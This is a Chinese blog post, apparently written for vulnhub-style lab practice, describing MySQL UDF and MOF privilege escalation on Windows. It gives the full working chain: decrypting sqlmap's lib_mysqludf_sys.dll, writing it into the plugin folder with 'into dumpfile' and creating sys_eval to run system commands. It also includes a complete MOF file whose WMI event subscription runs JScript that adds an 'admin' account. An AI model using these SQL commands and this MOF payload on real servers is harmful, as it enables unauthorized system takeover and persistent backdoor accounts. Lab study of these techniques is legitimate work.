udf提权与mof提权

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。(udf 提权 vulnhub靶场)

1、其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete
权限以创建和抛弃函数,有root账号密码。
2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\
system32。
4、掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限
的其它账号也可以。

提权步骤

1.查看  secure_file_priv  的值是否为空 如果为null就不行

image - udf提权与mof提权

2.查看plugn的路径

image 2 - udf提权与mof提权

3.获取udf.dll

将sqlmap下的C:\Python27\Sqlmap\data\udf\mysql\windows\64下的加密文件解密为dll文件

image 3 - udf提权与mof提权

进入sqlmap/extra/cloak目录 执行python cloak.py -d -i C:\Python27\Sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_命令

image 4 - udf提权与mof提权

得到解密后的dll文件

image 5 - udf提权与mof提权

将文件copy到桌面修改文件名为udf.dll 然后以二进制读取该文件 将结果转换为16进制

image 6 - udf提权与mof提权
image 7 - udf提权与mof提权

使用命令上传dll文件(select unhex ('1.txt里面的内容') into dumpfile "D:\phpstudy_pro\Extensions\MySQL8.0.12\lib\plugin\33udf.dll";)

image 8 - udf提权与mof提权

查看文件是否写入成功

image 9 - udf提权与mof提权

利用33udf.dll创建用户自定义函数(create function sys_eval returns string soname '33udf.dll')

image 10 - udf提权与mof提权

使用sys_eval命令来执行系统命令

image 12 - udf提权与mof提权

增加系统用户

image 13 - udf提权与mof提权
image 14 - udf提权与mof提权

至此提权成功

MOF提权

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
使用MOF提权的前提是当前管理员账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下

mof提权过程

将mof上传至任意可读可写目录下,

然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。

替换的sql语句:select load_file('上传mof的可读可写的位置') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof文件代码如下所示:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

基本绕过

上一篇

工具cs的使用(2)msf与cs联动

下一篇
评论
发表评论 说点什么
还没有评论
222